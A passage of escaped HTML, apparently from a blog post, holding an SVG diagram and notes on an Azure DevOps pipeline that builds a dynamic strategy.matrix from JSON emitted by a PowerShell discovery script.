style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='708' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003e#\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='372' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='436' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='644' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='708' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='372' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='644' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='708' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='372' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='644' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='708' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='644' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='708' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='372' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='644' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='708' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='372' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='708' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='324' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='372' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='596' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='644' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='708' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='324' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='372' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='596' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='644' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003e;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='324' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='596' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='644' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='708' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='324' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='372' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='596' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='644' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='708' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='372' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='436' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='644' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='708' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='324' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='436' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='596' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='644' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='708' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='372' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='596' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='644' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='708' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='324' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='372' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='436' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='596' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='644' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='708' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='324' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='596' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='644' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='708' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='260' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='324' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='372' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='596' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='708' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='260' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='324' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='532' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='596' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='644' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='708' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='260' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='324' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='372' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='436' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='532' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='596' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='644' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='708' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='260' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='324' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='532' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='596' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='644' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='708' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='324' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='372' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='532' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='596' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='644' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='708' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='260' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='324' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='372' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='532' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='596' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='532' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='644' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='708' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='260' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='372' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='644' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='708' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='196' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='260' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='372' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='532' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='644' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='708' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='260' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='532' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='708' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='260' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='532' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='644' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='708' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='372' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='532' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='644' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='708' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='260' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='372' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='436' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='532' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='644' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='196' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='260' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='372' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='436' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='532' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='644' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='196' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='372' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='532' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='260' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='436' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='532' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='260' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='372' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='532' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='260' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='196' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='532' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='436' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='532' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='532' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='532' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='532' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='532' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='532' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='532' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='532' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='532' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='532' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='532' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='532' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='532' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='532' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='532' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n    \u003c/svg\u003e\n  \n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eJob 1:\u003c/strong\u003e The script must produce a valid JSON \u003cstrong\u003eobject\u003c/strong\u003e (not an array).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eJob 2:\u003c/strong\u003e The \u003ccode\u003estrategy.matrix\u003c/code\u003e is evaluated during the Initialize phase of the job. It spawns parallel copies (\u0026ldquo;legs\u0026rdquo;) based on the JSON keys.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eJob 3:\u003c/strong\u003e Aggregation uses \u003ccode\u003eSystem.JobName\u003c/code\u003e to ensure artifacts from parallel legs don\u0026rsquo;t overwrite each other.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Phase 1: Discovery (PowerShell)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$matrix = @{}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eforeach\u003c/span\u003e ($pkg \u003cspan 